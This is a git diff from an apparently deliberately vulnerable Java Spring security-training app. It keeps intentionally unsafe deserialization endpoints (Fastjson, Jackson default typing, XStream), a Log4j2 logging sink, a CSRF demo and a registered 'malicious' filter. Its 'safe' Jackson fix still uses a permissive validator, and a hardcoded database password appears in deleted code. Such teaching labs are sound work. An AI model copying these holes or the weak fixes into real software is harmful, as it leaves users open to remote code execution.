org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; - import java.io.IOException; diff --git a/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java b/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java deleted file mode 100644 index 7b850d7..0000000 --- a/src/main/java/top/whgojp/common/config/DataSourceConfiguration.java +++ /dev/null @@ -1,24 +0,0 @@ -//package top.whgojp.common.config; -// -//import com.alibaba.druid.pool.DruidDataSource; -//import org.springframework.boot.context.properties.ConfigurationProperties; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.Configuration; -// -//import javax.activation.DataSource; -// -///** -// * @description <功能描述> -// * @author: whgojp -// * @email: whgojp@foxmail.com -// * @Date: 2024/8/9 13:17 -// */ -//@Configuration -//public class DataSourceConfiguration { -// -// @ConfigurationProperties(prefix = "spring.datasource.druid") -// @Bean -// public DataSource dataSource(){ -// return (DataSource) new DruidDataSource(); -// } -//} \ No newline at end of file diff --git a/src/main/java/top/whgojp/common/config/FilterConfig.java b/src/main/java/top/whgojp/common/config/FilterConfig.java new file mode 100644 index 0000000..4fdaad9 --- /dev/null +++ b/src/main/java/top/whgojp/common/config/FilterConfig.java @@ -0,0 +1,19 @@ +package top.whgojp.common.config; + +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import top.whgojp.modules.mshell.entity.MaliciousFilter; + +@Configuration +public class FilterConfig { + + @Bean + public FilterRegistrationBean maliciousFilter() { + FilterRegistrationBean registrationBean = new FilterRegistrationBean<>(); + registrationBean.setFilter(new MaliciousFilter()); + registrationBean.addUrlPatterns("/mshell/filter/*"); // 拦截所有请求 + registrationBean.setOrder(1); // 可以设置过滤器的优先级,值越小,优先级越高 + return registrationBean; + } +} diff --git a/src/main/java/top/whgojp/common/config/HibernateConfig.java b/src/main/java/top/whgojp/common/config/HibernateConfig.java deleted file mode 100644 index 71a58d4..0000000 --- a/src/main/java/top/whgojp/common/config/HibernateConfig.java +++ /dev/null @@ -1,55 +0,0 @@ -//package top.whgojp.common.config; -// -//import org.hibernate.SessionFactory; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.ComponentScan; -//import org.springframework.context.annotation.Configuration; -//import org.springframework.jdbc.datasource.DriverManagerDataSource; -//import org.springframework.orm.hibernate5.HibernateTransactionManager; -//import org.springframework.orm.hibernate5.LocalSessionFactoryBean; -//import org.springframework.transaction.annotation.EnableTransactionManagement; -// -//import javax.sql.DataSource; -//import java.util.Properties; -// -//@Configuration -//@EnableTransactionManagement -//@ComponentScan(basePackages = "top.whgojp") // 替换为你的包名 -//public class HibernateConfig { -// -// @Bean -// public LocalSessionFactoryBean sessionFactory() { -// LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean(); -// sessionFactory.setDataSource(dataSource()); // 设置数据源 -// sessionFactory.setPackagesToScan("top.whgojp"); // 替换为包含实体类的包名 -// sessionFactory.setHibernateProperties(hibernateProperties()); -// return sessionFactory; -// } -// -// @Bean -// public DataSource dataSource() { -// DriverManagerDataSource dataSource = new DriverManagerDataSource(); -// dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver"); -// dataSource.setUrl("jdbc:mysql://localhost:13306/JavaSecLab"); -// dataSource.setUsername("root"); -// dataSource.setPassword("QWE123qwe"); -// return dataSource; -// } -// -// @Bean -// public HibernateTransactionManager transactionManager(SessionFactory sessionFactory) { -// HibernateTransactionManager txManager = new HibernateTransactionManager(); -// txManager.setSessionFactory(sessionFactory); -// return txManager; -// } -// -// private Properties hibernateProperties() { -// Properties properties = new Properties(); -// properties.put("hibernate.dialect", "org.hibernate.dialect.MySQLDialect"); -// properties.put("hibernate.show_sql", true); -// properties.put("hibernate.format_sql", true); -// properties.put("hibernate.hbm2ddl.auto", "update"); -// return properties; -// } -// -//} diff --git a/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java b/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java deleted file mode 100644 index 0bccf79..0000000 --- a/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java +++ /dev/null @@ -1,80 +0,0 @@ -//package top.whgojp.common.config; -// -//import org.springframework.beans.factory.annotation.Autowired; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.ComponentScan; -//import org.springframework.context.annotation.Configuration; -//import org.springframework.web.servlet.ViewResolver; -//import org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer; -//import org.springframework.web.servlet.config.annotation.EnableWebMvc; -//import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; -//import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; -//import org.springframework.web.servlet.view.InternalResourceViewResolver; -//import org.thymeleaf.spring5.SpringTemplateEngine; -//import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; -//import org.thymeleaf.spring5.view.ThymeleafViewResolver; -//import org.thymeleaf.templatemode.TemplateMode; -//import top.whgojp.common.constant.SysConstant; -// -//@Configuration -//@EnableWebMvc -//@ComponentScan("top.whgojp.modules") // 扫描控制器组件 -//public class ViewResolverConfiguration implements WebMvcConfigurer { -// -// @Autowired -// private SysConstant sysConstant; -// -// @Override -// public void addResourceHandlers(ResourceHandlerRegistry registry) { -// String uploadFolderPath = sysConstant.getUploadFolder(); -// registry.addResourceHandler("/file/**") -// .addResourceLocations("file:" + uploadFolderPath + "/"); -// registry.addResourceHandler("/static/**") -// .addResourceLocations("classpath:/static/"); -// } -// -// // Thymeleaf视图解析器 -// @Bean -// public ViewResolver thymeleafViewResolver() { -// ThymeleafViewResolver resolver = new ThymeleafViewResolver(); -// resolver.setTemplateEngine(templateEngine()); -// resolver.setCharacterEncoding("UTF-8"); -// resolver.setOrder(1); // 优先级较高 -// return resolver; -// } -// -// // JSP视图解析器 -// @Bean -// public ViewResolver jspViewResolver() { -// InternalResourceViewResolver resolver = new InternalResourceViewResolver(); -// resolver.setPrefix("/WEB-INF/"); -// resolver.setSuffix(".jsp"); -// resolver.setViewNames("jsp/*"); // 只有在视图名称以"jsp/"开头时才使用JSP解析器 -// resolver.setOrder(2); // 优先级较低 -// return resolver; -// } -// -// -// -// @Bean -// public SpringResourceTemplateResolver templateResolver() { -// SpringResourceTemplateResolver templateResolver = new SpringResourceTemplateResolver(); -// templateResolver.setPrefix("classpath:/templates/"); -// templateResolver.setSuffix(".html"); -// templateResolver.setTemplateMode(TemplateMode.HTML); -// templateResolver.setCharacterEncoding("UTF-8"); -// return templateResolver; -// } -// -// @Bean -// public SpringTemplateEngine templateEngine() { -// SpringTemplateEngine templateEngine = new SpringTemplateEngine(); -// templateEngine.setTemplateResolver(templateResolver()); -// return templateEngine; -// } -// -// @Override -// public void configureDefaultServletHandling(DefaultServletHandlerConfigurer configurer) { -// configurer.enable("default"); -// } -//} diff --git a/src/main/java/top/whgojp/common/config/WebConfig.java b/src/main/java/top/whgojp/common/config/WebConfig.java index e47b7f4..db4df42 100644 --- a/src/main/java/top/whgojp/common/config/WebConfig.java +++ b/src/main/java/top/whgojp/common/config/WebConfig.java @@ -3,13 +3,12 @@ import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.*; import top.whgojp.common.constant.SysConstant; /** - * @description <功能描述> + * @description 自定义静态资源的访问路径、文件映射 * @author: whgojp * @email: whgojp@foxmail.com * @Date: 2024/5/23 18:58 diff --git a/src/main/java/top/whgojp/common/constant/SysConstant.java b/src/main/java/top/whgojp/common/constant/SysConstant.java index 30225a7..8a3c853 100644 --- a/src/main/java/top/whgojp/common/constant/SysConstant.java +++ b/src/main/java/top/whgojp/common/constant/SysConstant.java @@ -1,12 +1,13 @@ package top.whgojp.common.constant; import lombok.Data; -import lombok.SneakyThrows; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ResourceLoader; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; +import java.io.File; import java.io.IOException; /** @@ -36,24 +37,36 @@ public class SysConstant { @Autowired private ResourceLoader resourceLoader; + @Value("${folder.upload:/tmp/upload}") private String uploadFolder; + + @Value("${folder.static:/tmp/static}") private String staticFolder; + public SysConstant(ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + } + @PostConstruct public void init() throws IOException { - // 获取资源对象 - Resource uploadResource = resourceLoader.getResource("classpath:/static/upload/"); - Resource staticResource = resourceLoader.getResource("classpath:/static/"); - if (uploadResource.exists() && staticResource.exists()) { - try { - this.uploadFolder = uploadResource.getFile().getPath(); // 仅在资源存在于文件系统中时有效 - this.staticFolder = staticResource.getFile().getPath(); - } catch (IOException e) { - this.uploadFolder = uploadResource.getURL().toString(); // 获取资源的URL - this.staticFolder = staticResource.getURL().toString(); - } - } else { - throw new IOException("Resource not found!"); + // 初始化上传目录 + initializeDirectory(uploadFolder, "upload"); + + // 初始化静态资源目录 + initializeDirectory(staticFolder, "static"); + } + + /** + * 初始化目录,如果不存在则尝试创建 + * + * @param path 目录路径 + * @param directoryName 目录名称,用于错误提示 + * @throws IOException 如果目录创建失败 + */ + private void initializeDirectory(String path, String directoryName) throws IOException { + File dir = new File(path); + if (!dir.exists() && !dir.mkdirs()) { + throw new IOException("Failed to create " + directoryName + " directory: " + path); } } diff --git a/src/main/java/top/whgojp/common/push/service/DingDingPush.java b/src/main/java/top/whgojp/common/push/service/DingDingPush.java deleted file mode 100644 index c2e9e30..0000000 --- a/src/main/java/top/whgojp/common/push/service/DingDingPush.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description 钉钉推送 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:03 - */ -public interface DingDingPush { -} diff --git a/src/main/java/top/whgojp/common/push/service/EmailPush.java b/src/main/java/top/whgojp/common/push/service/EmailPush.java deleted file mode 100644 index 6021ba9..0000000 --- a/src/main/java/top/whgojp/common/push/service/EmailPush.java +++ /dev/null @@ -1,11 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description 邮件推送 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:05 - */ -public interface EmailPush { - void send(); -} diff --git a/src/main/java/top/whgojp/common/push/service/FeiShuPush.java b/src/main/java/top/whgojp/common/push/service/FeiShuPush.java deleted file mode 100644 index fc99533..0000000 --- a/src/main/java/top/whgojp/common/push/service/FeiShuPush.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description 飞书推送 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:03 - */ -public interface FeiShuPush { -} diff --git a/src/main/java/top/whgojp/common/push/service/PhonePush.java b/src/main/java/top/whgojp/common/push/service/PhonePush.java deleted file mode 100644 index 8775de7..0000000 --- a/src/main/java/top/whgojp/common/push/service/PhonePush.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:24 - */ -public interface PhonePush { -} diff --git a/src/main/java/top/whgojp/common/push/service/SmsPush.java b/src/main/java/top/whgojp/common/push/service/SmsPush.java deleted file mode 100644 index 8173523..0000000 --- a/src/main/java/top/whgojp/common/push/service/SmsPush.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description 短信推送 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:04 - */ -public interface SmsPush { -} diff --git a/src/main/java/top/whgojp/common/push/service/WeComPush.java b/src/main/java/top/whgojp/common/push/service/WeComPush.java deleted file mode 100644 index 9b4217c..0000000 --- a/src/main/java/top/whgojp/common/push/service/WeComPush.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description 企业微信推送 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:07 - */ -public interface WeComPush { -} diff --git a/src/main/java/top/whgojp/common/push/service/WechatPush.java b/src/main/java/top/whgojp/common/push/service/WechatPush.java deleted file mode 100644 index 33403dc..0000000 --- a/src/main/java/top/whgojp/common/push/service/WechatPush.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service; - -/** - * @description 微信推送 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:04 - */ -public interface WechatPush { -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/DingDingPushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/DingDingPushImpl.java deleted file mode 100644 index 91893b6..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/DingDingPushImpl.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service.impl; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:09 - */ -public class DingDingPushImpl { -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/EmailPushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/EmailPushImpl.java deleted file mode 100644 index 1e80be3..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/EmailPushImpl.java +++ /dev/null @@ -1,20 +0,0 @@ -package top.whgojp.common.push.service.impl; - -import lombok.extern.slf4j.Slf4j; -import org.springframework.stereotype.Service; -import top.whgojp.common.push.service.EmailPush; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:09 - */ -@Slf4j -@Service -public class EmailPushImpl implements EmailPush { - @Override - public void send() { - log.info("短信发送成功!"); - } -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/FeishuPushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/FeishuPushImpl.java deleted file mode 100644 index 6aaad3d..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/FeishuPushImpl.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service.impl; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:10 - */ -public class FeishuPushImpl { -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/PhonePushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/PhonePushImpl.java deleted file mode 100644 index 00de882..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/PhonePushImpl.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service.impl; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:24 - */ -public class PhonePushImpl { -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/SmsPushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/SmsPushImpl.java deleted file mode 100644 index 391066f..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/SmsPushImpl.java +++ /dev/null @@ -1,13 +0,0 @@ -package top.whgojp.common.push.service.impl; - -import top.whgojp.common.push.service.SmsPush; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:10 - */ -public class SmsPushImpl implements SmsPush { - -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/WeComPushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/WeComPushImpl.java deleted file mode 100644 index f5de96d..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/WeComPushImpl.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service.impl; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:10 - */ -public class WeComPushImpl { -} diff --git a/src/main/java/top/whgojp/common/push/service/impl/WechatPushImpl.java b/src/main/java/top/whgojp/common/push/service/impl/WechatPushImpl.java deleted file mode 100644 index c91dfe6..0000000 --- a/src/main/java/top/whgojp/common/push/service/impl/WechatPushImpl.java +++ /dev/null @@ -1,10 +0,0 @@ -package top.whgojp.common.push.service.impl; - -/** - * @description <功能描述> - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/6/14 16:10 - */ -public class WechatPushImpl { -} diff --git a/src/main/java/top/whgojp/common/utils/CheckUserInput.java b/src/main/java/top/whgojp/common/utils/CheckUserInput.java index 54e381e..8f191d8 100644 --- a/src/main/java/top/whgojp/common/utils/CheckUserInput.java +++ b/src/main/java/top/whgojp/common/utils/CheckUserInput.java @@ -1,12 +1,13 @@ package top.whgojp.common.utils; import org.springframework.stereotype.Component; - +import org.springframework.web.util.HtmlUtils; import java.net.URI; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.regex.Pattern; /** * @description 用户输入数据校验 @@ -16,6 +17,30 @@ */ @Component public class CheckUserInput { + private static final Pattern SCRIPT_PATTERN = Pattern.compile("]*>.*?", Pattern.CASE_INSENSITIVE | Pattern.DOTALL); + private static final Pattern EVENT_PATTERN = Pattern.compile("on\\w+\\s*=", Pattern.CASE_INSENSITIVE); + private static final Pattern JAVASCRIPT_PATTERN = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE); + + public String filter(String input) { + if (input == null) { + return ""; + } + + // 基本HTML转义 + String filtered = HtmlUtils.htmlEscape(input); + + // 移除script标签 + filtered = SCRIPT_PATTERN.matcher(filtered).replaceAll(""); + + // 移除事件处理器 + filtered = EVENT_PATTERN.matcher(filtered).replaceAll(""); + + // 移除javascript:协议 + filtered = JAVASCRIPT_PATTERN.matcher(filtered).replaceAll(""); + + return filtered; + } + public String checkUser(String username, String password, Integer id) { String message = ""; if (username == null || username.isEmpty()) { @@ -81,7 +106,7 @@ public boolean checkSqlBlackList(String content) { public boolean checkSqlWhiteList(String content) { String[] white_list = {"id", "username", "password"}; for (String s : white_list) { - if (content.toLowerCase().contains(s)) { + if (content.toLowerCase().equals(s)) { return true; } } diff --git a/src/main/java/top/whgojp/common/utils/UploadUtil.java b/src/main/java/top/whgojp/common/utils/UploadUtil.java index 347385a..838e4f1 100644 --- a/src/main/java/top/whgojp/common/utils/UploadUtil.java +++ b/src/main/java/top/whgojp/common/utils/UploadUtil.java @@ -1,20 +1,13 @@ package top.whgojp.common.utils; -import cn.hutool.core.date.DateUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.core.io.ResourceLoader; import org.springframework.stereotype.Component; -import org.springframework.util.StringUtils; import org.springframework.web.multipart.MultipartFile; import top.whgojp.common.constant.SysConstant; import java.io.File; import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.Objects; @Slf4j @Component @@ -23,26 +16,26 @@ public class UploadUtil { @Autowired private SysConstant sysConstant; - - private static final String UPLOAD_DIR = "uploads"; // 可以改成配置文件中的路径 - - public String uploadFile(MultipartFile file, String suffix,String path) throws IOException { - + public String uploadFile(MultipartFile file, String suffix, String path) throws IOException { + // 从配置中获取上传目录 String uploadFolderPath = sysConstant.getUploadFolder(); - try { - - String fileName = +DateUtil.current() + "."+suffix; - String newFilePath = uploadFolderPath + "/" + fileName; - - file.transferTo(new File(newFilePath)); // 将文件保存到指定路径 + // 确保目录存在 + File uploadDir = new File(uploadFolderPath); + if (!uploadDir.exists() && !uploadDir.mkdirs()) { + throw new IOException("Failed to create upload directory: " + uploadFolderPath); + } + // 构建文件路径 + String fileName = System.currentTimeMillis() + "." + suffix; + String newFilePath = uploadFolderPath + File.separator + fileName; + // 保存文件 + file.transferTo(new File(newFilePath)); log.info("上传文件成功,文件路径:" + newFilePath); return "上传文件成功,文件路径:" + path + fileName; } catch (IOException e) { - e.printStackTrace(); // 打印异常堆栈信息 - log.info("文件上传失败" + e.getMessage()); - return "文件上传失败" + e.getMessage(); + log.error("文件上传失败:{}", e.getMessage(), e); + throw e; // 重新抛出异常供上层处理 } - } + } \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java b/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java index bcd5598..03de345 100644 --- a/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java +++ b/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java @@ -29,7 +29,7 @@ public String fastjson() { @PostMapping("/vul") @ResponseBody - public String vulFastjson(@RequestBody String content) { + public String vul(@RequestBody String content) { try { JSONObject jsonObject = JSON.parseObject(content); return jsonObject.toString(); @@ -38,16 +38,21 @@ public String vulFastjson(@RequestBody String content) { } } + public String vul2(){ + + return ""; + } + @PostMapping("/safe") @ResponseBody - public String safeFastjson(@RequestBody String content) { + public String safe(@RequestBody String content) { try { // 1、禁用 AutoType ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 2、使用AutoType白名单机制 // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ParserConfig.getGlobalInstance().addAccept("top.whgojp.WhiteListClass"); - // 3、1.2.68之后的版本,Fastjson真家里safeMode的支持 + // 3、1.2.68之后的版本,Fastjson增加了safeMode的支持 // ParserConfig.getGlobalInstance().setSafeMode(true); // JSONObject jsonObject = JSON.parseObject(content, Feature.DisableSpecialKeyDetect); JSONObject jsonObject = JSON.parseObject(content); diff --git a/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java b/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java index 257f754..20febaa 100644 --- a/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java +++ b/src/main/java/top/whgojp/modules/components/jackson/controller/JacksonController.java @@ -28,39 +28,37 @@ public String jackson() { return "vul/components/jackson"; } - @PostMapping("/vul") - @ResponseBody - public String vulJackson(@RequestBody String content) { + @RequestMapping("/vul") + public String vul(@RequestBody String content) { try { - return new ObjectMapper() - .enableDefaultTyping() - .writeValueAsString( - new ObjectMapper().enableDefaultTyping().readValue(content, Object.class) - ); + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); // 启用多态类型处理 + + // 反序列化接收的JSON数据,触发漏洞 + Object obj = mapper.readValue(content, Object.class); + return "[+]Jackson 反序列化: " + obj.toString(); } catch (Exception e) { - return "Jackson RCE Error"; + e.printStackTrace(); + return "[-]Jackson反序列化失败"; } } @PostMapping("/safe") @ResponseBody - public String safeJackson(@RequestBody String content) { + public String safeJackson(@RequestBody String payload) { try { - // 使用安全的 ObjectMapper 配置 ObjectMapper mapper = new ObjectMapper(); - // 禁用潜在的危险功能 - mapper.disableDefaultTyping(); - // 安全配置:只允许反序列化指定类型(如自定义的类或简单数据类型) + + // 启用安全的类型验证 mapper.activateDefaultTyping( LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL ); - // 示例:仅允许特定的受信任类反序列化(可以根据需求自定义) mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true); - // 将 JSON 字符串安全地反序列化为指定的 POJO 类型 - Map safePayload = mapper.readValue(content, new TypeReference>() {}); + // 反序列化传入的JSON数据 + Map safePayload = mapper.readValue(payload, Map.class); return mapper.writeValueAsString(safePayload); } catch (Exception e) { e.printStackTrace(); @@ -69,7 +67,6 @@ public String safeJackson(@RequestBody String content) { } - /** * CVE-2020-35728 * com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化 diff --git a/src/main/java/top/whgojp/modules/components/log4j2/controller/Log4j2Controller.java b/src/main/java/top/whgojp/modules/components/log4j2/controller/Log4j2Controller.java index d6e6219..3c8e4fb 100644 --- a/src/main/java/top/whgojp/modules/components/log4j2/controller/Log4j2Controller.java +++ b/src/main/java/top/whgojp/modules/components/log4j2/controller/Log4j2Controller.java @@ -28,7 +28,7 @@ public String log4j2() { @PostMapping("/vul") @ResponseBody - public String vulLog4j2(@RequestParam("payload") String payload) { + public String vul(@RequestParam("payload") String payload) { System.out.println("[+]Log4j2反序列化:"+payload); logger.error(payload); return "[+]Log4j2反序列化:"+payload; @@ -36,7 +36,7 @@ public String vulLog4j2(@RequestParam("payload") String payload) { @PostMapping("/safe") @ResponseBody - public String safeLog4j2(@RequestParam("payload") String payload) { + public String safe(@RequestParam("payload") String payload) { payload = StringEscapeUtils.escapeHtml4(payload); System.out.println("[+]Log4j2反序列化:"+payload); diff --git a/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java b/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java index e2ef639..3d3a1e2 100644 --- a/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java +++ b/src/main/java/top/whgojp/modules/components/xstream/controller/XstreamController.java @@ -41,7 +41,7 @@ public String xstream() { @RequestMapping("/vul") @ResponseBody - public String vulXstream(@RequestBody String content) { + public String vul(@RequestBody String content) { log.info("组件漏洞-Xstream\n" + "Payload:" + content); XStream xs = new XStream(); Object result = xs.fromXML(content); // 反序列化得到的对象 @@ -50,8 +50,8 @@ public String vulXstream(@RequestBody String content) { return "组件漏洞-Xstream Vul, 反序列化结果: \n" + result.toString(); } - @RequestMapping("/safe-BlackList") - public String safeXstreamBlackList(@RequestBody String content) { + @RequestMapping("/safe1") + public String safe1(@RequestBody String content) { XStream xstream = new XStream(); // 首先清除默认设置,然后进行自定义设置 xstream.addPermission(NoTypePermission.NONE); @@ -60,8 +60,8 @@ public String safeXstreamBlackList(@RequestBody String content) { xstream.fromXML(content); return "组件漏洞-Xstream Safe-BlackList"; } - @RequestMapping("/safe-WhiteList") - public String safeXstreamWhiteList(@RequestBody String content) { + @RequestMapping("/safe2") + public String safe2(@RequestBody String content) { XStream xstream = new XStream(); // 首先清除默认设置,然后进行自定义设置 xstream.addPermission(NoTypePermission.NONE); diff --git a/src/main/java/top/whgojp/modules/other/controller/CrossOriginController.java b/src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java similarity index 93% rename from src/main/java/top/whgojp/modules/other/controller/CrossOriginController.java rename to src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java index a8b857d..5a628e4 100644 --- a/src/main/java/top/whgojp/modules/other/controller/CrossOriginController.java +++ b/src/main/java/top/whgojp/modules/crossorigin/controller/CrossOriginController.java @@ -1,4 +1,4 @@ -package top.whgojp.modules.other.controller; +package top.whgojp.modules.crossorigin.controller; import io.jsonwebtoken.io.IOException; import io.swagger.annotations.Api; @@ -18,19 +18,19 @@ * @Date: 2024/6/6 20:46 */ @Slf4j -@Api(value = "CrossOriginController", tags = "其他漏洞-CORS") +@Api(value = "CrossOriginController", tags = "跨域安全问题") @Controller //@CrossOrigin(origins = "*") -@RequestMapping("/other/CrossOrigin") +@RequestMapping("/crossorigin") public class CrossOriginController { @RequestMapping("/cors") public String cors() { - return "vul/other/cors"; + return "vul/crossorigin/cors"; } @RequestMapping("/jsonp") public String jsonp() { - return "vul/other/jsonp"; + return "vul/crossorigin/jsonp"; } @GetMapping("/corsVul") diff --git a/src/main/java/top/whgojp/modules/other/controller/CsrfController.java b/src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java similarity index 81% rename from src/main/java/top/whgojp/modules/other/controller/CsrfController.java rename to src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java index e3af4a9..dea2a5f 100644 --- a/src/main/java/top/whgojp/modules/other/controller/CsrfController.java +++ b/src/main/java/top/whgojp/modules/csrf/controller/CsrfController.java @@ -1,9 +1,8 @@ -package top.whgojp.modules.other.controller; +package top.whgojp.modules.csrf.controller; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; -import org.springframework.http.HttpRequest; import org.springframework.security.core.annotation.AuthenticationPrincipal; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.stereotype.Controller; @@ -14,31 +13,30 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; -import java.security.Principal; import java.util.HashMap; import java.util.Map; import java.util.UUID; /** - * @description 其他漏洞-跨站请求伪造 + * @description 跨站请求伪造 * @author: whgojp * @email: whgojp@foxmail.com * @Date: 2024/7/12 22:12 */ @Slf4j -@Api(value = "CsrfController", tags = "其他漏洞-跨站请求伪造") +@Api(value = "CsrfController", tags = "跨站请求伪造") @Controller @CrossOrigin(origins = "*") -@RequestMapping("/other/csrf") +@RequestMapping("/csrf") public class CsrfController { @ApiOperation("") @RequestMapping("") public String csrf() { - return "vul/other/csrf"; + return "vul/csrf/csrf"; } @RequestMapping("/vul") @ResponseBody - public R vulCsrf(String receiver, String amount, @AuthenticationPrincipal UserDetails userDetails){ + public R vul(String receiver, String amount, @AuthenticationPrincipal UserDetails userDetails){ String currentUser = userDetails.getUsername(); Map result = new HashMap<>(); result.put("currentUser", currentUser); @@ -80,9 +78,9 @@ public Map getCsrfToken(HttpSession session, Model model) { return result; } - @GetMapping("/safe") + @GetMapping("/safe1") @ResponseBody - public Map safeCsrf(@RequestParam("receiver") String receiver,@RequestParam("amount") String amount,@AuthenticationPrincipal UserDetails userDetails,@RequestParam("csrfToken") String csrfToken,HttpSession session) { + public Map safe1(@RequestParam("receiver") String receiver,@RequestParam("amount") String amount,@AuthenticationPrincipal UserDetails userDetails,@RequestParam("csrfToken") String csrfToken,HttpSession session) { String currentUser = userDetails.getUsername(); String sessionToken = (String) session.getAttribute("csrfToken"); @@ -101,7 +99,7 @@ public Map safeCsrf(@RequestParam("receiver") String receiver,@R @GetMapping("/safe2") @ResponseBody - public Map safeCsrf(HttpServletRequest request, @RequestParam("receiver") String receiver, @RequestParam("amount") String amount, @AuthenticationPrincipal UserDetails userDetails, HttpSession session) { + public Map safe2(HttpServletRequest request, @RequestParam("receiver") String receiver, @RequestParam("amount") String amount, @AuthenticationPrincipal UserDetails userDetails, 